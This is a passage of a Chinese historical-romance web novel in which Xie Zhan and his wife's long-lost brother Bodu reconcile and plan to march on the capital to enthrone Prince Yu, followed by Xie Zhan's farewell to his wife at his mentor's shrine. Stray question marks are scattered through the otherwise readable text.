眼前这两个男人?,一个是她的夫君,一个是她失散多?年一母同?胞的亲兄长,她绝不愿意看到两人?反目成?仇。 “哥哥,三年前在?清水河畔,究竟发生了什么,你能否告诉我!” 伯都看向?沈棠宁,他?的妹妹眼中满是期盼信任之色。 伯都心中微微一叹,说出了这个迟到了三年的真相。 说罢,他?撩起衣袍跪在?了谢瞻的面前,朝他?一拜。 沈棠宁吃了一惊,低低叫道:“哥哥,你这是做什么!” 伯都安抚地看了一眼沈棠宁,对谢瞻恳切地道:“临远,我知这些年来你心中必定怨恨我至极,我本也没有脸面再?来见你,纵然我有无数的理由和借口,可?若不是我,你与团儿也不会?沦落到今日的境地,沈连州不敢希求得到你们夫妇二人?的宽宥,只求你能允我日后不时?来看望团儿。” “她是我的亲妹妹,我与她整整失散了十九年,在?我得知身世之后,我曾很长一段时?间不敢来与团儿相认,可?血脉之亲,又怎能轻易割舍?你若不愿见我,哪怕只允我在?我门外看她一眼,我便心满意足,感?激不尽!” 伯都对谢瞻拜了三拜。 沈棠宁本已止住的泪水,顺着脸颊再?度滚落了下来。 她不敢发出声?音被谢瞻听到,只能强忍着内心的酸涩,掩面偏过了头。 即使她内心极不愿二人?到今日这一步,谢瞻是她的丈夫,却也是一个独立自主的人?,这三年来,她深知他?内心的煎熬苦痛,只是为了她将所有抱负与悲愤之情全部深埋心底,振作起来。 她不能自私地代替他?做决定,求得他?对沈连州的谅解。 谢瞻一动未动。 就在?伯都以?为谢瞻不会?再?应答他?,死心之际,谢瞻忽而开口。 “你起来罢。” 他?亲手将伯都扶了起来,沉默片刻,坦然说道:“说我心中对你无半分怨怼之情,那是假的,我不想欺骗你,但沈连州,即便当日你的手下没有背叛你,今日的我结局一样不会?好到哪里去?。” 他?自嘲一笑,“你知道我这人?,曾经目下无人?,自负至极,也正因为如此,轻信了他?人?,才落到今日的境地,全是我咎由自取,说到底,与你无干。” 伯都却摇头说道:“不,临远,你有经天纬地之才,本应自负自傲。在?我心中,你自始至终都是一个重情重义之人?,但正是因为你太过重情义,才会?沦落至此。我这一生最钦佩的两个男人?,一个是我与团儿的亲生父亲,另一人?便是你,你若遇到圣明君主,便不会?遭到小?人?攻讦与君主猜忌,是我一时?疏忽害你至此,从今往后但你有所差遣,我沈连州必当竭尽全力,追随与你!” 伯都一字一句,铿锵有力,斩钉截铁。 谢瞻说道:“差遣不敢当,不过你来得正是时?候,你可?知如今我朝太子?谋反被杀,陛下病重,命梁王继任东宫之位监国?” 其实早在?几日之前,谢瞻便收到了陈慎从京城来的飞鸽传书。 昨夜周存也得知了消息,今日清晨,便匆匆遣吴准来寻谢瞻。 周存认为,短短一天之内太子?谋反被杀,偏偏这个节骨眼隆德帝还病重了,让人?不得不怀疑其中是否有蹊跷。 “不知你是否听过一桩陈年旧事,太子?并非孝懿皇后亲子?,而是婢女腹中所出,被抱养到了孝懿皇后膝下?”周存说道。 这桩旧事,已经有多?年不曾被人?提起了。 退一万步讲,就算太子?当真是婢女之子?,那又如何,孝懿皇后养他?到大,十岁册立太子?,是名正言顺的储君,隆德帝身体欠佳,显然已是日薄西山,他?何苦要谋反自掘坟墓? 且这么多?年来隆德帝都始终没有再?立新后,自太子?被册立以?来,隆德帝便在?他?身上倾洒了无数的心血,在?暮年骤然废黜太子?,朝堂之中必然要引起轩然大波。 周存不是良将,却是一个敏锐的政治老手。 在?他?眼中,隆德帝酷爱平衡之术,尤其是到了晚年,猜忌心日重,以?至于?重用蕃将与奸臣阉宦,引发宗张之祸。 其后他?不但不知悔改,反而贬斥忠臣,抬举口蜜腹剑的黄皓,愈发变本加厉。 眼见太子?羽翼丰满,而他?日薄西山,便在?太子?与梁王之间也大搞平衡之术。 也许隆德帝本心不一定是欲要废太子?,此举却致使梁王野心日益膨胀。 在?周存的心目中,太子?虽然也称不上什么明君,习了隆德帝一身的臭毛病,至少还算礼贤下士,谦和知礼,这个梁王简直丧心病狂,从前就是个纨绔王爷,不学无术,也就近两年才收敛性情做起了所谓的贤王。 让这种人?为君父治理天下,恐怕不久后他?周存也要成?了亡国之臣。 周存担心朝中发生大事,是以?才找谢瞻商议对策,以?备不时?之需。 陈慎曾在?锦衣卫中任指挥佥事,后来他?为了保护谢嘉妤娶了谢嘉妤为妻,隆德帝便逐渐疏远了他?。 陈慎的师父锦衣卫指挥使纪镶爱才,他?将陈慎调去?南城兵马指挥使司,做了指挥副使看守城门,如此既远离了权利中心,也保下了陈慎的性命 作为曾经的锦衣卫,陈慎自然能知晓许多?旁人?不知的皇室秘辛,或许是觉察到了太子?之薨的猫腻,陈慎得知消息之后便立即飞鸽传书告知了谢瞻。 太子?已死,论长幼顺序,自然是梁王继承大统。 但论才干,梁王远远无法与豫王比肩。 这封信,谢瞻完全可?以?当做从未见过,继续过他?在?辽东的平静日子?。 然而他?的心中,却渐渐另有了一个“大逆不道”的想法。 伯都闻言果然吃了一惊,良久方难以?置信道:“太子?名正言顺,岂会?谋反?这梁王飞扬跋扈,庸碌无能,如何堪当大任?” 谢瞻淡淡道:“正是,所以?,我要另行拥立新君继位。” “豫王!” 伯都吃了一惊,下一刻,口中却不假思索脱出一个人?的名字。 隆德帝四个尚在?人?世的儿子?,太子?已死,便只剩下了梁王、豫王,以?及年幼尚未成?年的楚王。 三年前的清水河之战导致榆林和谈破裂,谢瞻被充军流放辽东,秦王也彻底失宠,藩地由陕西被更换成?河南,降为豫王。 豫王虽年纪轻轻,先前在?榆林和谈之时?却丝毫不怯场,面对突如其来的刺杀相当冷静与果断,伯都很是欣赏他?。 而豫王当年既赞成?和谈,且主导了和谈盟约,必定是心向?西契,伯都自然愿意拥立他?为新君。 谢瞻目露赞许之色。 看来伯都与他?英雄所见略同?。 “沈连州,既然你许诺会?追随于?我,也要拿出你许诺的诚意。” 说至此处,谢瞻一顿,神色转为严肃,慢慢出口道:“我要借你三万西契骑兵襄助于?我!” 伯都瞳孔一缩。 三万西契骑兵…… 倘若此时?的伯都仍是掌管西契军政的枢密院副使,凭他?立下的赫赫战功与察兰汗妃的义子?的身份,调动这三万西契骑兵必然不成?问题。 只可?惜,如今他?已不是了…… 伯都垂下眼,掩去?眼中的挣扎与苦涩,但随即便下定决心,抬头说道:“好,谢临远,我应你!” 两人?终于?相视一笑,泯尽恩仇。 早在?谢瞻与伯都商议拥立秦王的机要密事时?,沈棠宁便悄悄退了出去?,给两人?关闭门窗守门。 往重了去?说,两人?此刻在?屋内商讨的都是些大逆不道株连九族的大事,一旦泄漏出去?被外人?知晓,后果不堪设想,沈棠宁心里很是担忧。 毕竟谢瞻已经整整三年没有回过京都了,梁王已经继任太子?,他?却要另行拥立新君,若事成?便罢了,一旦事败…… 沈棠宁的心不由“扑通扑通”乱跳了起来,正胡思乱想之时?,忽听屋内传来“砰”的一声?,像是刀砍在?菜板上的声?音,伴随响起地,是男人?刻意压抑的低吼声?,似乎还夹杂着类似痛苦的嘶叫。 沈棠宁连忙就要进屋,屋门却一开,谢瞻神色古怪地从里面走了出来,看着沈棠宁欲言又止。 沈棠宁眼睛朝里面一扫,霎时?花容失色,急忙推开谢瞻快步跑到了伯都面前。 原来伯都为向?谢瞻表明决心,竟咬牙用匕首斩断了自己的小?指,他?把手放在?桌上,谢瞻来不及阻止,手起刀落,小?指便被他?一截两段。 嫣红的鲜血顺着手腕流淌下来,在?地上桌上滴滴答答,看得沈棠宁眼前一晕,好不容易止住的泪又掉了下来,一面查看伯都的伤势,一面看向?了谢瞻。 谢瞻见妻子?瞪圆了一双杏眼望向?自己,好似他?是那罪魁祸首一般,不由大为懊丧,生怕被她误会?,赶紧撇清道:“不是我!是他?自己要断的!” 也不怪沈棠宁想歪,这两人?一言不合都要断指,沈棠宁哪里能受得了。 上回谢瞻断指,若非她及时?将那小?指接回去?,只怕谢瞻的手日后便再?不能开弓了。 饶是她当场为他?接上了断指,从那后他?右手却到底不比从前那般灵活了,令沈棠宁很是心痛自责。 是以?看见眼前这一幕,她当真是心如刀绞,找到医药箱就要给伯都处理伤口。 伯都却按住伸来的手道:“团儿,你千万别怪临远,是我自己非要断了此指。我心内愧疚良多?,倘若什么都不做,始终意难平,你不要管我。” 说罢快于?她率先拿走那截断指,催动内力,将那断指在?掌中化为了一团血水,顺着指缝流了下去?。 沈棠宁眼睁睁看着,脑中一片空白晕眩,幸亏谢瞻及时?扶住了她。 “二哥哥!” 就在?这时?,一道清脆焦灼的女孩儿尖叫声?响了起来。 这自然不是沈棠宁的叫声?。 沈棠宁和谢瞻夫妻俩诧异地向?身后看去?,只见一个周人?打扮,却生得高鼻深目,皮肤雪白,容貌异常精致娇艳,与察兰汗妃有几分相似的女孩儿从门外几乎是飞奔着冲了进来,先是打量了一下伯都的伤手,旋即便扑在?他?怀中伤心地哇哇大哭起来。 第83章 “这女孩儿就这么抱着伯都旁若无人地伤心大哭起来,一面哭一面口中不停地叽里呱啦吐出一些沈棠宁听不懂的语言。 谢瞻却听懂了。 这女孩儿口中所说的契语,大约是类似于在责怪伯都痴傻的撒娇之?语,不过她刚叫的那?声哥哥,很奇怪唤的是中原话。 伯都也?是十分地尴尬,他看了眼谢瞻和沈棠宁,先柔声对怀中女孩儿也?说了几句契语。 女孩儿却仍是哭,哭着哭着猛然?反应过来,急忙从一旁的医药箱中找出纱布和伤给伯都处理?伤口。 这女孩儿看起来约莫就十七八岁的模样,处理?伤口的动作却十分迅速老练,一点不怯生?。 伯都无奈,一面由女孩儿处理?着伤口,一面对谢瞻和沈棠宁解释道:“这位便是汗妃的女儿,乌伦珠公主。” 他这话音刚落,乌伦珠一双桃花眼就蓦地瞪向?了他,口中契语嚷起来,听语气似乎很是难过不满。 伯都轻咳一声,压低声音又急急对乌伦珠说了几句契语。 不知两人说了什么,总之?,伯都的话说完之?后,乌伦珠撇了撇嘴,不太情愿地点了点头,看向?谢瞻与沈棠宁时,不好意思地一笑。 两个妹妹一起帮处理?伯都的伤口。 那?截断指已经?毁了,事已至此,自然?没法再接回去。 不过看伯都倒是神色坦然?。 待沈棠宁和乌伦珠将那?伤口包扎完毕,乌伦珠才转过头认真地端详沈棠宁。 乌伦珠容貌与察兰汗妃有五六分的相似,都是远山眉,琼鼻朱唇,乌发雪肤,大大的桃花眼,只?不过比之?汗妃如江南美人般的秀雅娇美,乌伦珠显然?还吸取了她的父亲默答汗容貌的长处,眉眼间更?多了几分难得?的英气妩媚。 沈棠宁打量乌伦珠,乌伦珠自然?也?在打量沈棠宁。 这位年轻的公主平生?见过最美的女子便是她的母亲察兰汗妃,刚刚她急于给伯都处理?伤口,这时再细细端详沈棠宁,目光甫一落到她的身上,乌伦珠便睁大了一双美丽的桃花眼,忍不住惊叹起来。 用所有美好的词汇来形容眼前的女子仿佛都不为?过,乌伦珠脑中突然?蹦出一句察兰汗妃教过她的周人的诗句—— 云想衣裳花想容,春风拂槛露华浓。 那?似水乌黑的眸,雪白肌,尖俏的下巴,忧郁的眼神,两腮略显病态的苍白非但没有半分折损她的美貌,反而为?她增添了几分楚楚可怜的美丽韵味。 沈棠宁也?习惯了旁人见到她容貌时的惊艳,说来她与温氏、沈弘彰生?得?并不很像,沈连州也?不像他的亲生?父母,但大约两人都不知晓,沈连州更?像他的外?祖母。 这也?是一开?始,伯都不敢相信沈棠宁是他亲妹妹的缘故。 他自认长相样貌平平无奇,而沈棠宁却堪称绝色,即便有察兰汗妃珠玉在前,在第?一眼见到沈棠宁的时候,伯都也?被她那?双忧郁含情的美眸夺去了所有的目光。 “你真美……”乌伦珠喃喃说道。 沈棠宁轻声道:“妾身不过蒲柳之?姿,公主谬赞了,却不知公主怎会来此?” 乌伦珠看了一眼伯都,刚要?开?口,伯都却抓住她的手,对她几不可见地使了个眼色。 两人兄妹多年,乌伦珠立即便明白了伯都的意思。 尽管她不懂为?何伯都不允许她说实话,但还是遵从了他的意思,用不太熟练的中原话对沈棠宁说道:“沈姐姐,自从找到自己的身世之?后,哥哥便总是这样,偷偷地一个人跑到宁远来看你。他离家有多日了,我?的母妃和父汗都很担心他,我?也?很担心,这一次便跟着他偷偷过来了。” 这就是要?走的意思了。 沈棠宁望向?伯都,欲言又止,眼神中却多了十分的失落与不舍。 她不想伯都离开?。 好不容易兄妹相认,她还没来得?及与他互诉衷肠,问问这十九年他究竟是如何过来的…… “哥哥,你去罢,来日方长,我?带你去见我?们的娘,她现在就在镇江。” “我?去过了,团儿,一个月前我?便去看过娘了。”伯都柔声道。 为?了除去伯都,土勒一直派人暗中查访伯都的身世,还真被他找到了伯都的身世之?谜。 原来土勒的军中,有周人曾做过西契曾经?的贵族兀良哈部的奴仆,如今那?周人改了契人名字叫做斡脱。 那?时九岁的伯都刚被买到兀良哈太师的府中做低等仆役,后来兀良哈部在政治斗争中落败,家族覆灭,家中奴仆要?么被充作了苦役,要?么卷铺盖逃走。 太师府中有一对周人夫妇奴仆,男人叫做胡贵,女子名为?周氏,这对夫妻一直无所出,便趁乱带走伯都并收养了他。 那?年正巧伯都生?了一场大病,病愈后先前记忆全无,胡贵白捡了个儿子,就哄骗伯都他和周氏是他的亲生?爹娘。 只?毕竟不是亲生?的,胡贵没钱的时候,想到这个白捡的儿子,就想将他卖到奴隶市场换钱,恰巧遇到微服的察兰汗妃才救他一命,就此飞黄腾达。 斡脱和胡贵在兀良哈太师府中时关系很不错,也?认得?伯都,胡贵和周氏逃走之?后,斡脱便再未见过这夫妻俩了,此后他便投到了土勒的帐下。 偶有一次听说了伯都父母的名字,骤然?忆起这段陈年往事,推测伯都根本不是周氏和胡贵的亲儿子。 为?了讨好土勒,斡脱根据记忆画出了当年伯都的样貌,意图找到伯都的真正身世,以此作为?要?挟,看能不能为?土勒换来筹码。 说来也?是凑巧,当时土勒帐中另有一名管理?奴仆的周人管事名为?钱孙,无意间见到这画像大为?惊异,竟说这少年是由他千里迢迢从京都运来西契转手所卖,而这少年的亲生?父母,他也?曾听少年愤怒时脱口而出。 因这少年性格格外?倔强,当年与他起了数次冲突,甚至有几次要?自尽,令他颇为?头疼,故而印象深刻。 土勒得?知后大喜,他万没想到伯都不是个卑贱的奴隶之?子,居然?是大周朝平宁侯的儿子! 土勒在军中大肆宣扬伯都的身世,道他是周人之?子,非我?族人,其心必异,想以此来离间伯都与默答。 伯都不愿察兰汗妃夹在中间为?难,在彻底剿灭土勒,拿下他的项上人头后,伯都也?从钱孙口中确认了传闻。 之?后他便不顾察兰汗妃与默答的劝阻辞去了枢密院副使的官职,只?身一人去了京都城。 他实在记不起自己九岁之?前的童年,他下定决心要?去找他的亲生?母亲温氏,看能不能寻回那?段失落的记忆。 在京都城,伯都冒着被通缉的风险,千方百计打听到了温氏如今的落脚处。 原来温氏已经?整整三年没有回过京都城了。 他也?见过了自己的舅舅温济淮和舅母姚氏。 表弟温珧读书刻苦,姚氏为?他定下了一门婚事,至今尚未成婚。 表妹温双双则嫁给了隔壁街的一个姓赵的铁匠,两人的孩子都快两岁大了。 第?二日,伯都便快马加鞭去了沈氏的镇江老家。 在镇江江宁,彼时温氏怀中正抱着他五岁大的小侄女圆姐儿。 她已年迈,发中掺杂着银丝,双目却依旧慈祥和善,哄话的音调还像当年一样轻言细语,温柔似水。 …… 那?一刻,伯都竟宛如醍醐灌顶般,脑中蓦地涌入了那?段尘封近二十年的记忆。 他记起来了,他终于记起了他失落的童年,他的母亲,他的妹妹。 等伯都反应过来的时候,才发现自己早已控制不住流了满面的泪水。 沈棠宁听到此处,连忙忍住泪问温氏如今如何了,伯都一一回应。 兄妹两人说个不停,谢瞻下去叫阿秀做了一桌子的好菜招待伯都和乌伦珠这兄妹俩,以及护送乌伦珠来的拖剌。 三人多年未见,席间,沈棠宁与伯都自是许多话聊。 不过她也?没有闲着,趁着谢瞻与伯都说话时观察乌伦珠,发现乌伦珠公主的眼睛就没有离开?过伯都,但出乎她预料的是,沈棠宁本以为?乌伦珠公主是默答汗与察兰汗妃的掌中明珠,会是个十分活泼可爱的姑娘。 不想乌伦珠话并不多,只?不时接两句话,偶尔对视时,含羞带怯地冲她微笑。 到傍晚时伯都便不得?不早早离开?了,他要?回西契借兵,兵贵神速,迟则生?变。 分别时兄妹二人依依惜别,伯都将怀中的羌笛赠予沈棠宁,接着,便将乌伦珠抱上自己的黑云马,两人共乘一骑,一同消失在了浓黑的夜色之?中。 第?二日一早,谢瞻便去游说了周存和吴准,借他虎符,调动三万辽东兵一用。 从龙之?功,对于周存和吴准来说实在是个难以抗拒的诱惑。 光是想想,仿佛封侯拜相,封妻荫子的荣耀已在远远朝他们招手,周存心中便无限澎湃抖擞,何况还能一雪前耻,真想看看等他跟着豫王杀回?*京都城的时候黄皓这个老东西脸上是怎样一个好看的表情! 周存痛快地答应了谢瞻,兴奋之?余也?生?了一丝犹疑,他们三人在这里安排得?明明白白,却不知这远在河南的豫王究竟如何作想? 万一豫王毫无争位之?意,他们三个莫非还要?将豫王架到炙火上去烤? 谢瞻却不置可否,从怀中拿出另一封信,递给了周存和吴准。 周存连忙拆开?一看,先见信的落款写着两个字—— 永祎。 永祎,是豫王的字。 …… 半个月的时间转瞬即逝,京都城。 按照太祖皇帝的祖训,大周朝有嫡立嫡,无嫡立长。 自孝懿皇后去世后隆德帝便未再立后,后宫之?中他最宠爱的也?是楚王的母亲林妃。 太子死了,梁王虽非嫡子,却成了长子,自然?变成了顺位继承人,在黄皓和余公公的帮助之?下干脆坐实废太子谋反之?实,废黜太子之?位,将其贬为?庶人。 至此,梁王也?终于住进了他梦寐以求的东宫。 而得?知废太子谋反,隆德帝病情却是急转直下,原本不过是风寒之?疾,到最后演变成了中风,整日躺在床上昏迷不醒,不过是进气多,出气少了。 先前黄皓忠于太子之?时,眼见隆德帝搞帝王平衡之?术,表面上对废太子一片赤胆忠心,实际上背地里也?对梁王的示好来者不拒,为?自己留后路,着实是个首鼠两端之?徒。 梁王如今继位,他自然?如个哈巴狗一般凑了上去。 不久,锦衣卫便在东宫之?中搜到了废太子谋反的书信铁证。 这些书信上声称废太子晓得?自己的真实身份只?是个贱婢之?子,而非孝懿皇后嫡子,这几十年来一直害怕隆德帝将他废黜改立,另立新君,在眼红隆德帝愈发宠爱梁王之?后,狗急跳墙发动了宫变。 梁王苦于没有证据,又担心是污蔑了皇兄,几经?挣扎犹豫,决定于宫变当日亲自前去宫中阻拦。 最终梁王也?成功阻止了废太子谋反,废太子兵败自尽。 那?些参与“谋反”的太子党属臣,自然?通通被构陷下狱。 朝廷中由黄皓一力?把持,梁王朱永福—— 不,如今该称为?太子殿下,太子奉隆德帝口谕监国,为?彰显自己仁厚之?德,即位后他亲自安排了废太子的丧仪,在废太子的丧礼上哭得?一把鼻涕一把,几欲肝肠寸断。 口谕么,自然?是余公公做人证的口谕,至于隆德帝是否说过,谁又知晓。 事情顺利地超乎他的想象。 朝堂中反对他的声音渐渐衰微了下去,不过他也?并未因此掉以轻心,目前他仍然?有个强有力?的劲敌,便是他的两个弟弟,远在千里之?外?河南的豫王以及因为?年轻还未来得?及就藩的楚王。 这位楚王的母亲林氏倒是聪明,太子死后她和儿子楚王立即便对新太子俯首称臣,深居简出,每日除为?隆德帝侍疾,不再外?出见任何人。 而豫王那?厢,太子不愿留下这个隐患,意图对这个皇弟除之?后快。 黄皓劝他监国之?初先不要?轻举妄动,免得?豫王是真的狗急跳墙,毕竟豫王已经?远离政治中心多年,目前对他也?构不成多大的威胁。 朱永福约莫是做梁王的时候被隆德帝捧得?太高太久了,早忘了自己原本就是个不学无术,跟在废太子后面耀武扬威的纨绔之?徒。 他哪里肯听黄皓这个老油条的肺腑之?言,恨不得?立即将豫王干脆利落地弄死,竟是一刻也?不愿等,没过多久就以隆德帝的名义下旨召豫王进京为?隆德帝侍疾。 明为?奔丧,实则是场鸿门宴,朱永福的用心简直是司马昭之?心路人皆知,明眼人都晓得?豫王此去十之?八.九是凶多吉少。 然?,若不去,那?必然?又是做贼心虚,不定朱永福后头还有什么招数等着他。 豫王不想死,当然?,他也?不相信他这个太子三哥所谓的肺腑之?言, 据他对隆德帝了解,尽管他的父皇近年来愈发宠爱梁王与楚王,但恐怕从未想过废太子。 废太子已经?做了近二十年的太子,真要?废太子,将招致朝野动荡,这不是隆德帝想要?看到,他只?怕他的父皇隆德帝早已在京都之?中遭遇了不测。 豫王王府之?中有侍卫和扈从近千余人,阻挡朝廷禁军远远不够。 生?死攸关之?际,豫王脑中忽而灵光一现,想到了一人。 这个人,或许可以以一当十,出奇制胜,帮他戳穿梁王的真面目! 于是,宁远城中,谢瞻便在短短几日之?内先收到了陈慎送来的密信,继而又是豫王的信件。 这半个月的时间,伯都果真帮他说动了默答汗,只?是经?历过土勒的动乱之?后,目前只?能借来两万骁勇善战的西契骑兵。 至于周存这厢,他完全可以调动这支两万余人的辽东兵队伍。 两年来在周存和谢瞻这个背后军师的共同训练整饬之?下,辽东兵规模一再扩大,由原来的一万人扩展到了三万,且这三万勇士个个身经?百战,面对东契的夷狄亦是毫不畏惧,对周存更?是忠心耿耿 在伯都领着这两万西契骑兵秘密赶到山海关与辽东兵会师前一天?,谢瞻带着沈棠宁离开?宁远,去了一趟锦州城。 出城门后,谢瞻弃马车而改骑马,夫妻两人共乘一骑来到城郊外?的女儿河畔。 刚过惊蛰,时值仲春,气温回升很快,女儿河的河水却仍未完全融化,河畔已有杨柳翠色依依,芦苇不时随风摇荡,从中飞出几只?受到惊扰的白鹭,仰天?哑声嘶鸣,冲淡沉寂许久的冬日萧索气息。 水畔的路软泞难行?走,谢瞻便下了马,令沈棠宁依旧坐于马上,牵着马在水畔慢慢踱步走着。 两刻钟后,女儿河渐渐被落在了两人身后,面前出现一道幽僻的山路。 顺着山路走到尽头处,赫然?有一处古朴的祠堂静静矗立于山林之?间。 谢瞻将马上的沈棠宁抱了下来,两人十指紧握,一起来到祠堂前。 祠堂青瓦白墙,门楼的牌匾上用雄浑的笔力?书四个大字,“耿公庙”。 门楼左右抱柱上各挂有一对楹联,右侧为?支离约已,左侧上书尽悴事国。 夫妻两人携手进入祠堂大殿,大殿中央的墙上泥塑着一位英武高大,身披红缨铠甲的将军,像下设有神龛香案。 大殿另一侧的石壁上,另有不知何人刻的一篇碑文。 “松凋玉缺,直罔贞蹶。竟埋干将,终碎明月。宿草陈根,芜没苍坟。垂清风于颂石,兴终古而存存。” 谢瞻仰头凝望着中央的那?尊神像,目中似有水影闪动。 “宁宁,你可知他是谁?” “耿将军。”沈棠宁轻声道。 她当然?知晓,眼前这位,是谢瞻的恩师,曾经?名震西域四方,为?隆德帝立下汗马功劳,是这个大周帝国最为?璀璨耀眼的将星,却英年早逝忧愤而死的三镇节度使耿忠慎。 此处,便是耿忠慎的生?祠。 当年耿忠慎被贬谪到辽东,仍然?拖着支离的病体训练将士,抵御东契和各异族夷狄,抚慰辽东百姓。 在他临死之?前,锦州城的百姓们感念耿将军生?前的庇护恩德,特意为?他建造了这座生?祠,以求耿将军能够长命百岁, 至今此处香火依旧不断,甚至有人不远千里慕名而来只?为?耿忠慎上一炷香。 夫妻二人上香完毕,谢瞻取下腰间佩带的弓弩,手指轻轻抚摸着弓弩上那?一笔一划镌刻的自己的名字。 “他于我?,如兄如父,亦师亦友,既是可以敞开?心扉的朋友,传道授业的恩师,又是严厉悉心的父亲。” “我?的生?母死于契人之?手,从那?之?后,我?性情便愈发暴戾恣睢,满心满眼都是为?母亲报仇雪恨的念头,甚至一度因此置许多无辜的将士生?死不顾。对我?犯下的大错他曾从重严惩,狠狠抽了我?五十个鞭子,告诉我?这些无辜将士的父母亲人,如今亦成了无数个我?。” “可那?时我?倨傲自负,被仇恨蒙蔽双目,不肯服从他的管教,他却从未因此看轻或就此放弃了我?。十四岁那?一年,他亲手教我?制作弓弩,并在弓弩上刻下自己的名字。凡战后便将弓弩武器收回,若有遗失者便当受罚。不止一弓一弩,对于一兵一卒,他都爱之?重之?,视若亲子。” “当年陛下命他攻打东契的石堡城,东契举国之?力?抗争,他出兵后却不为?士卒立重赏,我?误以为?他是吝啬钱财,不愿出兵,担心他被朝中小人谗言构陷,曾去劝阻他。” “谁知他却说他并非吝惜钱财,只?是不愿为?这一城伤亡万千士卒,来换取官职与奖赏,直到那?时我?才彻底明白他的良苦用心。” “后来他果然?为?陛下猜忌,被宗缙与黄皓构陷拥兵自重,结党营私,贬谪到辽东。” “我?在乾清宫门前一直跪了三天?三夜,想用我?官职换取他的官职,他却让人传话给我?,勿要?插手为?他求情,他死不足惜,若我?也?遭他牵累,大周的边境从今往后由谁来守护?” 也?是从那?个时候开?始,谢瞻学会了收敛锋芒,隐忍不发。 他一直在等,等待有朝一日能除去宗缙与黄皓,为?耿忠慎报仇雪恨。 也?曾一直以为?,只?要?自己足够赤胆忠心,便能实现自己和耿忠慎的平生?夙愿,可惜终究还是逃不过功高盖主,兔死狗烹的宿命。 耿忠慎死后,同年没过多久孝懿皇后也?薨逝了。 那?一年,谢瞻失去了自己生?命中最重要?的两个人。 年幼时,是孝懿皇后的温柔慈爱抚慰了他永远失去了母亲的痛苦。 长大后,又是耿忠慎化解了他满心的戾气仇恨。 这是谢瞻第?一次将往事与心底的脆弱彻底剖开?在沈棠宁的面前。 他本以为?他会回忆得?十分痛苦,但真正回想起来,即使是年幼时极少冲他展颜的母亲,仿佛也?在记忆中鲜活如初,笑靥如花。 沈棠宁握住了他的手,用温暖柔软的掌心裹住他的手背。 谢瞻转过头,看着身侧的妻子。 沈棠宁倚入他的胸膛,紧紧地,无声地拥住了他。 她虽然?没有出声,不置一词,却令谢瞻深深地感受到了来自她的力?量与温暖。 谢瞻闭目,嗅着她发间淡淡的幽香,回搂紧了他的妻子。 其实,他最对不起,亦是最感激的人,是他的妻子。 这三年来,他曾因一夕之?间跌入尘埃当中,失去了活下去的希望。 他本以为?自己会重蹈耿忠慎的后尘,等死而已,是她的到来拯救了他。 为?了能让沈棠宁过上好的日子,为?了在她生?病之?时能有钱替她医治,他在心里咬牙坚持,拼命地活下去,竟然?真的坚持了三年。 他很庆幸自己当初没有就此意志消沉下去。 能娶她为?妻,得?她悦慕,他是何曾的之?幸。 甚至于,他早已不想再去追究当年皇孙的周岁宴上究竟是谁给他下的迷药,或许是太子,又或许是梁王,都不再重要?了。 若是没有那?阴差阳错的一次肌肤之?亲,他永远都无法遇到沈棠宁,并非是他瞧不起沈棠宁,而是以他的出身和当年的性情,当真没有半分机会。 他只?恨自己当初错待了她,竟与她失去了那?么好本应珍惜的美好时光。 “宁宁,为?什么要?对我?这样好,为?什么?” 谢瞻厮磨着她的耳侧,喃喃低语。 沈棠宁脸颊和耳根处情不自禁地涌上红晕。 他突然?这样问,她亦不知如何作答…… “你也?待我?很好,阿瞻,你也?是一个很好很好的人,我?只?是在回报你。” “不,我?待你远远不够好。” 谢瞻吐出胸臆间一口气。 他的眼底也?由温柔转为?挣扎痛苦,半响,低声叹道:“宁宁,我?为?了等这一天?,已经?整整等了八年!” “这一次,我?誓要?取黄皓性命,慰耿将军在天?之?灵!” 说到此处,他的语调却又转为?怅惘低沉,“可我?害怕我?会辜负你,失去你……” 他刚出口,沈棠宁便抵住了他的唇。 “我?不许你说这样丧气的话!阿瞻,我?一直记得?你曾经?为?我?许下的诺言,你不要?管前面的路如何,只?管去做你想做的,我?会等你回来,兑现你对我?的诺言。” 谢瞻低头看着眼前的妻子,她亦深深仰头凝视着他。那?双柔情似水的杏眼之?中是前所未有的坚定与信任。 他仿佛被她感染,感觉到胸臆中有暖流奔涌到了四肢之?中,浑身都充满了力?量。 他要?铲除奸恶,要?实现平生?夙愿,也?要?兑现对她的承诺,一家人团聚,给他的妻子一个更?加安定的生?活,不要?她整日再生?活在胆战心惊的日子之?中。 翌日一早,伯都率领三万西契骑兵便陆续到了。 辽东三司已尽数为?周存节制,兵贵神速,谢瞻不想耽误时间,昨日,分路的周存已经?先行?去与豫王会合。 他一面等待伯都的援军,一面下令在辽东驻留五千西契士卒与一万的辽东兵,以备东契和其它异族趁着辽东防备空虚趁虚而入。 大军预备即刻启程。 沈棠宁知道,谢瞻是不可能带上她回京都的。 他这一次要?做的事,往重了说,便是大逆不道,株连九族的谋逆之?举。 但她同时也?明白,如若不这么做,谢瞻不可能眼睁睁看着黄皓继续逍遥法外?,看着梁王弑兄杀父,看着他们一家人生?生?骨肉分离一辈子。 因此,当谢瞻小心地提出这个想法的时候,她听话地应了下来,为?他穿上铠甲,送他出门。 她的心里在滴血。 每看着他走远一步,她面上笑着,心里头却在滴血。 做出攻入京都城杀梁王拥立秦王的决定之?后,为?了沈棠宁的安危着想,谢瞻便安排她住进了周存的府中。 待谢瞻与伯都并肩而行?,纵马出了周府的巷子,人还未走远便忍不住回头去看,只?见沈棠宁还站在门首下一动不动地目送着他与伯都。 他心里忽忍受不了这种再次分别的痛苦,调转马头奔回到府门前,从马上一跃而下,在众目睽睽之?下紧紧地抱住了他的妻子。 “等我?,宁宁,等我?回来,好不好,好不好!” 他亲吻着她的额、脸颊,恳求着她。 伯都轻咳一声,背过了身去。 周围的奴仆也?都很有眼色地纷纷转身。 沈棠宁先是被他的举动吓呆住,继而想到周围还站着奴仆以及远处的哥哥沈连州,不能吵醒周围的邻人,忙红着脸去推他。 “阿瞻,我?自然?是等你的,你去罢,别担心我?,阿瞻……” 顿了下,她柔声道:“你去吧,我?在家里等你回来接我?,我?们一家人团聚。” 有她的地方,哪里就是家。 谢瞻点头,这才重新上马,回头又恋恋不舍地看她一眼,终于随伯都去了。 【终章】 第84章 京都城中,朱永福还在做着他?千秋万代的春秋大梦,丝毫不知危险已悄然?来临。 二月末,深夜三更时?分,忠毅侯府的后门步履匆匆地走入一身着黑衣的男子。 满府之中,几乎一步一棵海棠树。男人目光扫过?,在仆人的催促牵引下,进入了?忠毅侯萧砚的书房。 临窗下的海棠已发出了?翠色的嫩芽。 烛光淡淡,萧砚坐在一团黑影之中。 